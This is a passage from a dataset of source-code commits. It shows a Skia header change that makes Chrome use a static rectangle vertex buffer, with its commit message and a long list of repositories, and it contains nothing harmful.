*\/\n\n","subject":"Fix for eps8266 and athers non avr mcu :)","message":"Fix for eps8266 and athers non avr mcu :)\n\nFix for eps8266 and athers non avr mcu :)","lang":"C","license":"mit","repos":"jgillick\/arduino-LEDFader"}
{"commit":"0078079b20d1fe7b52cf7c2ac0558abbeefddcca","old_file":"gpu\/include\/GrGLConfig_chrome.h","new_file":"gpu\/include\/GrGLConfig_chrome.h","old_contents":"#ifndef GrGLConfig_chrome_DEFINED\n#define GrGLConfig_chrome_DEFINED\n\n#define GR_SUPPORT_GLES2    1\n\n\/\/ gl2ext.h will define these extensions macros but Chrome doesn't provide\n\/\/ prototypes.\n#define GL_OES_mapbuffer                      0\n#define GL_IMG_multisampled_render_to_texture 0\n\n#include <GLES2\/gl2.h>\n#include <GLES2\/gl2ext.h>\n\n#define GR_GL_FUNC\n\n#define GR_GL_PROC_ADDRESS(X)       &X\n\n\/\/ chrome always assumes BGRA\n#define GR_GL_32BPP_COLOR_FORMAT    GR_BGRA\n\n\/\/ glGetError() forces a sync with gpu process on chrome\n#define GR_GL_CHECK_ERROR_START     0\n\n#endif\n","new_contents":"#ifndef GrGLConfig_chrome_DEFINED\n#define GrGLConfig_chrome_DEFINED\n\n#define GR_SUPPORT_GLES2    1\n\n\/\/ gl2ext.h will define these extensions macros but Chrome doesn't provide\n\/\/ prototypes.\n#define GL_OES_mapbuffer                      0\n#define GL_IMG_multisampled_render_to_texture 0\n\n#include <GLES2\/gl2.h>\n#include <GLES2\/gl2ext.h>\n\n#define GR_GL_FUNC\n\n#define GR_GL_PROC_ADDRESS(X)       &X\n\n\/\/ chrome always assumes BGRA\n#define GR_GL_32BPP_COLOR_FORMAT    GR_BGRA\n\n\/\/ glGetError() forces a sync with gpu process on chrome\n#define GR_GL_CHECK_ERROR_START     0\n\n\/\/ Using the static vb precludes batching rect-to-rect draws\n\/\/ because there are matrix changes between each one.\n\/\/ Chrome was getting top performance on Windows with\n\/\/ batched rect-to-rect draws. But there seems to be some \n\/\/ regression that now causes any dynamic VB data to perform\n\/\/ very poorly. In any event the static VB seems to get equal\n\/\/ perf to what batching was producing and it always seems to\n\/\/ be better on Linux.\n#define GR_STATIC_RECT_VB 1\n\n#endif\n","subject":"Make chrome use the static square vb when drawing rects.","message":"Make chrome use the static square vb when drawing rects.\n\nReview URL: http:\/\/codereview.appspot.com\/4280053\/\n\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@949 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"AOSPU\/external_chromium_org_third_party_skia,pacerom\/external_skia,pcwalton\/skia,HalCanary\/skia-hc,samuelig\/skia,vvuk\/skia,UBERMALLOW\/external_skia,Purity-Lollipop\/platform_external_skia,noselhq\/skia,xin3liang\/platform_external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_skia,Jichao\/skia,codeaurora-unoffical\/platform-external-skia,vvuk\/skia,Android-AOSP\/external_skia,zhaochengw\/platform_external_skia,AOSP-YU\/platform_external_skia,amyvmiwei\/skia,ench0\/external_chromium_org_third_party_skia,MinimalOS\/android_external_skia,houst0nn\/external_skia,TeamEOS\/external_skia,samuelig\/skia,HealthyHoney\/temasek_SKIA,pacerom\/external_skia,Euphoria-OS-Legacy\/android_external_skia,vanish87\/skia,mozilla-b2g\/external_skia,BrokenROM\/external_skia,Jichao\/skia,VRToxin-AOSP\/android_external_skia,sombree\/android_external_skia,ominux\/skia,vvuk\/skia,TeslaProject\/external_skia,Khaon\/android_external_skia,Purity-Lollipop\/platform_external_skia,OneRom\/external_skia,sudosurootdev\/external_skia,rubenvb\/skia,pcwalton\/skia,w3nd1go\/android_external_skia,MarshedOut\/android_external_skia,BrokenROM\/external_skia,tmpvar\/skia.cc,Purity-Lollipop\/platform_external_skia,sigysmund\/platform_external_skia,VentureROM-L\/android_external_skia,google\/skia,xin3liang\/platform_external_chromium_org_third_party_skia,invisiblek\/android_external_skia,tmpvar\/skia.cc,sigysmund\/platform_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,todotodoo\/skia,ench0\/external_chromium_org_third_party_skia,samuelig\/skia,FusionSP\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,vanish87\/skia,DiamondLovesYou\/skia-sys,mydongistiny\/external_chromium_org_third_party_skia,Khaon\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,Samsung\/skia,shahrzadmn\/skia,boulzordev\/android_external_skia,tmpvar\/skia.cc,Infinitive-OS\/platform_external_skia,chenlian2015\/skia_from_google,wildermason\/external_skia,MinimalOS\/external_skia,w3nd1go\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,pcwalton\/skia,MinimalOS-AOSP\/platform_external_skia,wildermason\/external_skia,geekboxzone\/lollipop_external_skia,timduru\/platform-external-skia,rubenvb\/skia,rubenvb\/skia,AOSPA-L\/android_external_skia,DiamondLovesYou\/skia-sys,mozilla-b2g\/external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,AOSPB\/external_skia,TeamTwisted\/external_skia,scroggo\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,AOSPA-L\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,MinimalOS\/android_external_chromium_org_third_party_skia,pcwalton\/skia,TeamTwisted\/external_skia,OptiPop\/external_chromium_org_third_party_skia,noselhq\/skia,sigysmund\/platform_external_skia,nox\/skia,TeamEOS\/external_chromium_org_third_party_skia,TeamTwisted\/external_skia,Omegaphora\/external_skia,TeamExodus\/external_skia,Infusion-OS\/android_external_skia,Asteroid-Project\/android_external_skia,mydongistiny\/android_external_skia,TeamBliss-LP\/android_external_skia,xzzz9097\/android_external_skia,google\/skia,pacerom\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,MyAOSP\/external_chromium_org_third_party_skia,YUPlayGodDev\/platform_external_skia,DiamondLovesYou\/skia-sys,FusionSP\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,rubenvb\/skia,scroggo\/skia,Asteroid-Project\/android_external_skia,nfxosp\/platform_external_skia,mmatyas\/skia,Hikari-no-Tenshi\/android_external_skia,OneRom\/external_skia,UBERMALLOW\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,mozilla-b2g\/external_skia,VRToxin-AOSP\/android_external_skia,TeslaProject\/external_skia,codeaurora-unoffical\/platform-external-skia,android-ia\/platform_external_chromium_org_third_party_skia,aospo\/platform_external_skia,OneRom\/external_skia,TeslaOS\/android_external_skia,TeslaOS\/android_external_skia,TeamBliss-LP\/android_external_skia,mozilla-b2g\/external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,UBERMALLOW\/external_skia,GladeRom\/android_external_skia,HalCanary\/skia-hc,geekboxzone\/lollipop_external_skia,sudosurootdev\/external_skia,invisiblek\/android_external_skia,scroggo\/skia,fire855\/android_external_skia,DiamondLovesYou\/skia-sys,CyanogenMod\/android_external_chromium_org_third_party_skia,Jichao\/skia,MonkeyZZZZ\/platform_external_skia,SlimSaber\/android_external_skia,VentureROM-L\/android_external_skia,nvoron23\/skia,MinimalOS\/external_skia,TeamEOS\/external_skia,TeamTwisted\/external_skia,MarshedOut\/android_external_skia,OneRom\/external_skia,Omegaphora\/external_skia,sudosurootdev\/external_skia,geekboxzone\/mmallow_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,TeamEOS\/external_chromium_org_third_party_skia,Fusion-Rom\/android_external_skia,Pure-Aosp\/android_external_skia,Purity-Lollipop\/platform_external_skia,Igalia\/skia,InfinitiveOS\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,FusionSP\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,AOSPB\/external_skia,mmatyas\/skia,FusionSP\/external_chromium_org_third_party_skia,Jichao\/skia,sombree\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,TeamExodus\/external_skia,houst0nn\/external_skia,temasek\/android_external_skia,DesolationStaging\/android_external_skia,Purity-Lollipop\/platform_external_skia,TeamExodus\/external_skia,MonkeyZZZZ\/platform_external_skia,google\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,akiss77\/skia,pcwalton\/skia,AndroidOpenDevelopment\/android_external_skia,Asteroid-Project\/android_external_skia,Android-AOSP\/external_skia,scroggo\/skia,xin3liang\/platform_external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,FusionSP\/android_external_skia,MarshedOut\/android_external_skia,Jichao\/skia,vvuk\/skia,shahrzadmn\/skia,sigysmund\/platform_external_skia,OptiPop\/external_chromium_org_third_party_skia,nvoron23\/skia,Android-AOSP\/external_skia,geekboxzone\/mmallow_external_skia,fire855\/android_external_skia,akiss77\/skia,jtg-gg\/skia,Omegaphora\/external_chromium_org_third_party_skia,F-AOSP\/platform_external_skia,Omegaphora\/external_chromium_org_third_party_skia,MyAOSP\/external_chromium_org_third_party_skia,akiss77\/skia,ench0\/external_chromium_org_third_party_skia,mydongistiny\/android_external_skia,PAC-ROM\/android_external_skia,YUPlayGodDev\/platform_external_skia,MinimalOS\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,tmpvar\/skia.cc,vvuk\/skia,YUPlayGodDev\/platform_external_skia,NamelessRom\/android_external_skia,Android-AOSP\/external_skia,MinimalOS-AOSP\/platform_external_skia,BrokenROM\/external_skia,nox\/skia,Euphoria-OS-Legacy\/android_external_skia,tmpvar\/skia.cc,ominux\/skia,geekboxzone\/mmallow_external_skia,boulzordev\/android_external_skia,TeslaProject\/external_skia,HealthyHoney\/temasek_SKIA,DesolationStaging\/android_external_skia,Pure-Aosp\/android_external_skia,HalCanary\/skia-hc,aospo\/platform_external_skia,qrealka\/skia-hc,xin3liang\/platform_external_chromium_org_third_party_skia,Khaon\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,Plain-Andy\/android_platform_external_skia,ench0\/external_skia,codeaurora-unoffical\/platform-external-skia,nfxosp\/platform_external_skia,TeamEOS\/external_chromium_org_third_party_skia,AOSPA-L\/android_external_skia,GladeRom\/android_external_skia,SlimSaber\/android_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,AOSP-YU\/platform_external_skia,houst0nn\/external_skia,temasek\/android_external_skia,HealthyHoney\/temasek_SKIA,android-ia\/platform_external_chromium_org_third_party_skia,MinimalOS\/android_external_chromium_org_third_party_skia,Khaon\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,nfxosp\/platform_external_skia,UBERMALLOW\/external_skia,MonkeyZZZZ\/platform_external_skia,sigysmund\/platform_external_skia,android-ia\/platform_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,todotodoo\/skia,TeamBliss-LP\/android_external_skia,AOSPB\/external_skia,NamelessRom\/android_external_skia,GladeRom\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,temasek\/android_external_skia,AsteroidOS\/android_external_skia,AsteroidOS\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,TeamExodus\/external_skia,larsbergstrom\/skia,aosp-mirror\/platform_external_skia,zhaochengw\/platform_external_skia,RadonX-ROM\/external_skia,byterom\/android_external_skia,byterom\/android_external_skia,VentureROM-L\/android_external_skia,aospo\/platform_external_skia,Pure-Aosp\/android_external_skia,ominux\/skia,aospo\/platform_external_skia,TeamBliss-LP\/android_external_skia,MonkeyZZZZ\/platform_external_skia,fire855\/android_external_skia,geekboxzone\/mmallow_external_skia,ench0\/external_skia,larsbergstrom\/skia,F-AOSP\/platform_external_skia,Hybrid-Rom\/external_skia,rubenvb\/skia,ominux\/skia,geekboxzone\/lollipop_external_skia,Plain-Andy\/android_platform_external_skia,samuelig\/skia,UBERMALLOW\/external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,AOSP-YU\/platform_external_skia,byterom\/android_external_skia,Samsung\/skia,mydongistiny\/android_external_skia,jtg-gg\/skia,rubenvb\/skia,Samsung\/skia,vvuk\/skia,HealthyHoney\/temasek_SKIA,nox\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,OneRom\/external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_skia,sombree\/android_external_skia,Jichao\/skia,Omegaphora\/external_skia,pacerom\/external_skia,TeslaOS\/android_external_skia,nox\/skia,AOSPB\/external_skia,VentureROM-L\/android_external_skia,Igalia\/skia,OptiPop\/external_chromium_org_third_party_skia,TeamTwisted\/external_skia,temasek\/android_external_skia,vanish87\/skia,suyouxin\/android_external_skia,spezi77\/android_external_skia,chenlian2015\/skia_from_google,spezi77\/android_external_skia,samuelig\/skia,scroggo\/skia,MarshedOut\/android_external_skia,MonkeyZZZZ\/platform_external_skia,ctiao\/platform-external-skia,FusionSP\/external_chromium_org_third_party_skia,MyAOSP\/external_chromium_org_third_party_skia,nox\/skia,Igalia\/skia,Infusion-OS\/android_external_skia,Hybrid-Rom\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,BrokenROM\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,VentureROM-L\/android_external_skia,Fusion-Rom\/android_external_skia,byterom\/android_external_skia,AOSPA-L\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,houst0nn\/external_skia,TeamEOS\/external_chromium_org_third_party_skia,Pure-Aosp\/android_external_skia,Khaon\/android_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,mozilla-b2g\/external_skia,larsbergstrom\/skia,F-AOSP\/platform_external_skia,houst0nn\/external_skia,AOSPU\/external_chromium_org_third_party_skia,shahrzadmn\/skia,google\/skia,GladeRom\/android_external_skia,GladeRom\/android_external_skia,RadonX-ROM\/external_skia,Android-AOSP\/external_skia,TeamExodus\/external_skia,Fusion-Rom\/android_external_skia,Hybrid-Rom\/external_skia,rubenvb\/skia,F-AOSP\/platform_external_skia,TeamEOS\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,timduru\/platform-external-skia,nvoron23\/skia,Asteroid-Project\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,android-ia\/platform_external_skia,ominux\/skia,aosp-mirror\/platform_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,RadonX-ROM\/external_skia,nox\/skia,NamelessRom\/android_external_skia,Hybrid-Rom\/external_skia,w3nd1go\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,android-ia\/platform_external_skia,ctiao\/platform-external-skia,boulzordev\/android_external_skia,YUPlayGodDev\/platform_external_skia,UBERMALLOW\/external_skia,TeamEOS\/external_skia,TeamExodus\/external_skia,nfxosp\/platform_external_skia,TeamTwisted\/external_skia,DesolationStaging\/android_external_skia,NamelessRom\/android_external_skia,geekboxzone\/mmallow_external_skia,qrealka\/skia-hc,suyouxin\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,Tesla-Redux\/android_external_skia,MonkeyZZZZ\/platform_external_skia,ctiao\/platform-external-skia,xzzz9097\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,Infusion-OS\/android_external_skia,MinimalOS\/android_external_skia,HalCanary\/skia-hc,MIPS\/external-chromium_org-third_party-skia,invisiblek\/android_external_skia,samuelig\/skia,MinimalOS\/external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,boulzordev\/android_external_skia,fire855\/android_external_skia,temasek\/android_external_skia,spezi77\/android_external_skia,PAC-ROM\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,HalCanary\/skia-hc,fire855\/android_external_skia,Infinitive-OS\/platform_external_skia,VentureROM-L\/android_external_skia,aosp-mirror\/platform_external_skia,Infinitive-OS\/platform_external_skia,todotodoo\/skia,byterom\/android_external_skia,pacerom\/external_skia,noselhq\/skia,nfxosp\/platform_external_skia,YUPlayGodDev\/platform_external_skia,MinimalOS\/external_chromium_org_third_party_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,TeslaOS\/android_external_skia,MarshedOut\/android_external_skia,Igalia\/skia,DARKPOP\/external_chromium_org_third_party_skia,boulzordev\/android_external_skia,PAC-ROM\/android_external_skia,tmpvar\/skia.cc,google\/skia,Hikari-no-Tenshi\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,zhaochengw\/platform_external_skia,OptiPop\/external_skia,invisiblek\/android_external_skia,ctiao\/platform-external-skia,boulzordev\/android_external_skia,Android-AOSP\/external_skia,BrokenROM\/external_skia,jtg-gg\/skia,ominux\/skia,DiamondLovesYou\/skia-sys,larsbergstrom\/skia,MonkeyZZZZ\/platform_external_skia,mmatyas\/skia,BrokenROM\/external_skia,OptiPop\/external_skia,Tesla-Redux\/android_external_skia,ench0\/external_chromium_org_third_party_skia,sudosurootdev\/external_skia,jtg-gg\/skia,Purity-Lollipop\/platform_external_skia,AOSP-YU\/platform_external_skia,android-ia\/platform_external_skia,w3nd1go\/android_external_skia,VentureROM-L\/android_external_skia,SlimSaber\/android_external_skia,android-ia\/platform_external_skia,MinimalOS\/external_skia,MinimalOS-AOSP\/platform_external_skia,vvuk\/skia,Plain-Andy\/android_platform_external_skia,PAC-ROM\/android_external_skia,todotodoo\/skia,akiss77\/skia,SlimSaber\/android_external_skia,fire855\/android_external_skia,aosp-mirror\/platform_external_skia,F-AOSP\/platform_external_skia,mmatyas\/skia,aospo\/platform_external_skia,mydongistiny\/android_external_skia,vanish87\/skia,temasek\/android_external_skia,Purity-Lollipop\/platform_external_skia,qrealka\/skia-hc,AOSP-YU\/platform_external_skia,F-AOSP\/platform_external_skia,noselhq\/skia,Hybrid-Rom\/external_skia,Asteroid-Project\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,nox\/skia,MIPS\/external-chromium_org-third_party-skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,InfinitiveOS\/external_skia,geekboxzone\/mmallow_external_skia,AOSPU\/external_chromium_org_third_party_skia,nox\/skia,timduru\/platform-external-skia,AOSPB\/external_skia,YUPlayGodDev\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,amyvmiwei\/skia,MinimalOS\/external_skia,byterom\/android_external_skia,VRToxin-AOSP\/android_external_skia,nfxosp\/platform_external_skia,nfxosp\/platform_external_skia,geekboxzone\/mmallow_external_skia,sudosurootdev\/external_skia,aosp-mirror\/platform_external_skia,suyouxin\/android_external_skia,AsteroidOS\/android_external_skia,Omegaphora\/external_skia,mydongistiny\/external_chromium_org_third_party_skia,amyvmiwei\/skia,todotodoo\/skia,geekboxzone\/mmallow_external_skia,MinimalOS\/android_external_skia,akiss77\/skia,BrokenROM\/external_skia,aospo\/platform_external_skia,TeamEOS\/external_skia,fire855\/android_external_skia,Khaon\/android_external_skia,UBERMALLOW\/external_skia,Samsung\/skia,ench0\/external_chromium_org_third_party_skia,wildermason\/external_skia,xzzz9097\/android_external_skia,OneRom\/external_skia,mydongistiny\/android_external_skia,pacerom\/external_skia,MinimalOS\/external_skia,YUPlayGodDev\/platform_external_skia,sigysmund\/platform_external_skia,aosp-mirror\/platform_external_skia,Fusion-Rom\/android_external_skia,xzzz9097\/android_external_skia,Khaon\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,MinimalOS\/android_external_skia,Plain-Andy\/android_platform_external_skia,AOSP-YU\/platform_external_skia,Khaon\/android_external_skia,scroggo\/skia,Omegaphora\/external_chromium_org_third_party_skia,SlimSaber\/android_external_skia,InfinitiveOS\/external_skia,rubenvb\/skia,amyvmiwei\/skia,TeamEOS\/external_chromium_org_third_party_skia,NamelessRom\/android_external_skia,Samsung\/skia,nfxosp\/platform_external_skia,vanish87\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,codeaurora-unoffical\/platform-external-skia,Purity-Lollipop\/platform_external_skia,tmpvar\/skia.cc,Infusion-OS\/android_external_skia,MinimalOS\/external_skia,VRToxin-AOSP\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,MinimalOS\/android_external_skia,DesolationStaging\/android_external_skia,MarshedOut\/android_external_skia,SlimSaber\/android_external_skia,noselhq\/skia,tmpvar\/skia.cc,sigysmund\/platform_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,xin3liang\/platform_external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,sombree\/android_external_skia,AOSPB\/external_skia,TeamEOS\/external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,xzzz9097\/android_external_skia,TeslaOS\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,codeaurora-unoffical\/platform-external-skia,temasek\/android_external_skia,samuelig\/skia,Euphoria-OS-Legacy\/android_external_skia,AOSP-YU\/platform_external_skia,TeamExodus\/external_skia,Tesla-Redux\/android_external_skia,Hybrid-Rom\/external_skia,Asteroid-Project\/android_external_skia,nfxosp\/platform_external_skia,scroggo\/skia,TeslaProject\/external_skia,MinimalOS\/external_chromium_org_third_party_skia,Asteroid-Project\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,chenlian2015\/skia_from_google,xzzz9097\/android_external_skia,sudosurootdev\/external_skia,MIPS\/external-chromium_org-third_party-skia,mydongistiny\/android_external_skia,AOSPA-L\/android_external_skia,pcwalton\/skia,MIPS\/external-chromium_org-third_party-skia,shahrzadmn\/skia,shahrzadmn\/skia,jtg-gg\/skia,ench0\/external_chromium_org_third_party_skia,mmatyas\/skia,ominux\/skia,AOSPB\/external_skia,mmatyas\/skia,vvuk\/skia,OneRom\/external_skia,TeamTwisted\/external_skia,AndroidOpenDevelopment\/android_external_skia,larsbergstrom\/skia,Fusion-Rom\/android_external_skia,zhaochengw\/platform_external_skia,ctiao\/platform-external-skia,HalCanary\/skia-hc,OptiPop\/external_skia,TeslaProject\/external_skia,chenlian2015\/skia_from_google,TeamBliss-LP\/android_external_skia,invisiblek\/android_external_skia,Plain-Andy\/android_platform_external_skia,pcwalton\/skia,Plain-Andy\/android_platform_external_skia,vanish87\/skia,YUPlayGodDev\/platform_external_skia,HalCanary\/skia-hc,sudosurootdev\/external_skia,TeamEOS\/external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,DiamondLovesYou\/skia-sys,android-ia\/platform_external_skia,akiss77\/skia,AOSPB\/external_skia,MinimalOS-AOSP\/platform_external_skia,w3nd1go\/android_external_skia,boulzordev\/android_external_skia,AOSPA-L\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,OptiPop\/external_skia,OptiPop\/external_skia,DesolationStaging\/android_external_skia,rubenvb\/skia,qrealka\/skia-hc,AsteroidOS\/android_external_skia,nox\/skia,MinimalOS\/android_external_skia,TeamExodus\/external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,houst0nn\/external_skia,google\/skia,android-ia\/platform_external_skia,OneRom\/external_skia,ctiao\/platform-external-skia,Euphoria-OS-Legacy\/android_external_skia,Infusion-OS\/android_external_skia,TeamBliss-LP\/android_external_skia,amyvmiwei\/skia,MinimalOS\/external_skia,ench0\/external_skia,ench0\/external_skia,todotodoo\/skia,sigysmund\/platform_external_skia,HealthyHoney\/temasek_SKIA,HealthyHoney\/temasek_SKIA,nvoron23\/skia,w3nd1go\/android_external_skia,geekboxzone\/mmallow_external_skia,aospo\/platform_external_skia,Igalia\/skia,ench0\/external_chromium_org_third_party_skia,AsteroidOS\/android_external_skia,PAC-ROM\/android_external_skia,byterom\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,Igalia\/skia,ominux\/skia,shahrzadmn\/skia,VRToxin-AOSP\/android_external_skia,xzzz9097\/android_external_skia,RadonX-ROM\/external_skia,mydongistiny\/external_chromium_org_third_party_skia,google\/skia,nvoron23\/skia,HalCanary\/skia-hc,byterom\/android_external_skia,GladeRom\/android_external_skia,larsbergstrom\/skia,timduru\/platform-external-skia,MIPS\/external-chromium_org-third_party-skia,jtg-gg\/skia,ench0\/external_chromium_org_third_party_skia,Fusion-Rom\/android_external_skia,timduru\/platform-external-skia,OneRom\/external_skia,Infusion-OS\/android_external_skia,ominux\/skia,scroggo\/skia,MinimalOS\/android_external_skia,Samsung\/skia,geekboxzone\/lollipop_external_skia,amyvmiwei\/skia,qrealka\/skia-hc,Infinitive-OS\/platform_external_skia,DesolationStaging\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,chenlian2015\/skia_from_google,invisiblek\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,aosp-mirror\/platform_external_skia,Fusion-Rom\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,wildermason\/external_skia,invisiblek\/android_external_skia,Tesla-Redux\/android_external_skia,TeslaOS\/android_external_skia,AOSPA-L\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,OptiPop\/external_skia,AndroidOpenDevelopment\/android_external_skia,mydongistiny\/android_external_skia,mmatyas\/skia,Samsung\/skia,suyouxin\/android_external_skia,sombree\/android_external_skia,shahrzadmn\/skia,DARKPOP\/external_chromium_org_third_party_skia,DesolationStaging\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,TeamEOS\/external_chromium_org_third_party_skia,noselhq\/skia,geekboxzone\/lollipop_external_skia,larsbergstrom\/skia,suyouxin\/android_external_skia,qrealka\/skia-hc,HealthyHoney\/temasek_SKIA,BrokenROM\/external_skia,Plain-Andy\/android_platform_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,w3nd1go\/android_external_skia,Omegaphora\/external_skia,Pure-Aosp\/android_external_skia,amyvmiwei\/skia,Pure-Aosp\/android_external_skia,SlimSaber\/android_external_skia,vvuk\/skia,AsteroidOS\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,amyvmiwei\/skia,Tesla-Redux\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,TeslaProject\/external_skia,wildermason\/external_skia,temasek\/android_external_skia,TeslaOS\/android_external_skia,RadonX-ROM\/external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_skia,MinimalOS\/external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,AndroidOpenDevelopment\/android_external_skia,codeaurora-unoffical\/platform-external-skia,FusionSP\/android_external_skia,TeslaOS\/android_external_skia,TeslaProject\/external_skia,shahrzadmn\/skia,GladeRom\/android_external_skia,Hybrid-Rom\/external_skia,shahrzadmn\/skia,InfinitiveOS\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,MinimalOS\/android_external_chromium_org_third_party_skia,MinimalOS-AOSP\/platform_external_skia,w3nd1go\/android_external_skia,TeamBliss-LP\/android_external_skia,zhaochengw\/platform_external_skia,OptiPop\/external_chromium_org_third_party_skia,samuelig\/skia,fire855\/android_external_skia,AsteroidOS\/android_external_skia,timduru\/platform-external-skia,Pure-Aosp\/android_external_skia,TeslaProject\/external_skia,noselhq\/skia,pacerom\/external_skia,zhaochengw\/platform_external_skia,boulzordev\/android_external_skia,nvoron23\/skia,TeamEOS\/external_skia,Infusion-OS\/android_external_skia,aospo\/platform_external_skia,mmatyas\/skia,todotodoo\/skia,MIPS\/external-chromium_org-third_party-skia,NamelessRom\/android_external_skia,ench0\/external_skia,spezi77\/android_external_skia,VRToxin-AOSP\/android_external_skia,todotodoo\/skia,wildermason\/external_skia,Euphoria-OS-Legacy\/android_external_skia,HealthyHoney\/temasek_SKIA,Pure-Aosp\/android_external_skia,F-AOSP\/platform_external_skia,VentureROM-L\/android_external_skia,w3nd1go\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,AndroidOpenDevelopment\/android_external_skia,SlimSaber\/android_external_skia,sombree\/android_external_skia,UBERMALLOW\/external_skia,Hikari-no-Tenshi\/android_external_skia,RadonX-ROM\/external_skia,GladeRom\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,UBERMALLOW\/external_skia,sombree\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,AOSPB\/external_skia,noselhq\/skia,PAC-ROM\/android_external_skia,Infusion-OS\/android_external_skia,VRToxin-AOSP\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,Tesla-Redux\/android_external_skia,TeamTwisted\/external_skia,MinimalOS\/external_skia,InfinitiveOS\/external_skia,zhaochengw\/platform_external_skia,suyouxin\/android_external_skia,Samsung\/skia,ench0\/external_skia,houst0nn\/external_skia,noselhq\/skia,codeaurora-unoffical\/platform-external-skia,Hybrid-Rom\/external_skia,MyAOSP\/external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,VRToxin-AOSP\/android_external_skia,mmatyas\/skia,Fusion-Rom\/android_external_skia,suyouxin\/android_external_skia,spezi77\/android_external_skia,mozilla-b2g\/external_skia,boulzordev\/android_external_skia,chenlian2015\/skia_from_google,Igalia\/skia,Igalia\/skia,OptiPop\/external_skia,Jichao\/skia,Hikari-no-Tenshi\/android_external_skia,YUPlayGodDev\/platform_external_skia,chenlian2015\/skia_from_google,pcwalton\/skia,FusionSP\/external_chromium_org_third_party_skia,OptiPop\/external_chromium_org_third_party_skia,NamelessRom\/android_external_skia,mydongistiny\/android_external_skia,wildermason\/external_skia,tmpvar\/skia.cc,aosp-mirror\/platform_external_skia,Jichao\/skia,larsbergstrom\/skia,PAC-ROM\/android_external_skia,AOSPA-L\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,Infinitive-OS\/platform_external_skia,google\/skia,vanish87\/skia,xzzz9097\/android_external_skia,HalCanary\/skia-hc,android-ia\/platform_external_skia,ctiao\/platform-external-skia,mozilla-b2g\/external_skia,sombree\/android_external_skia,google\/skia,MarshedOut\/android_external_skia,akiss77\/skia,todotodoo\/skia,AsteroidOS\/android_external_skia,geekboxzone\/lollipop_e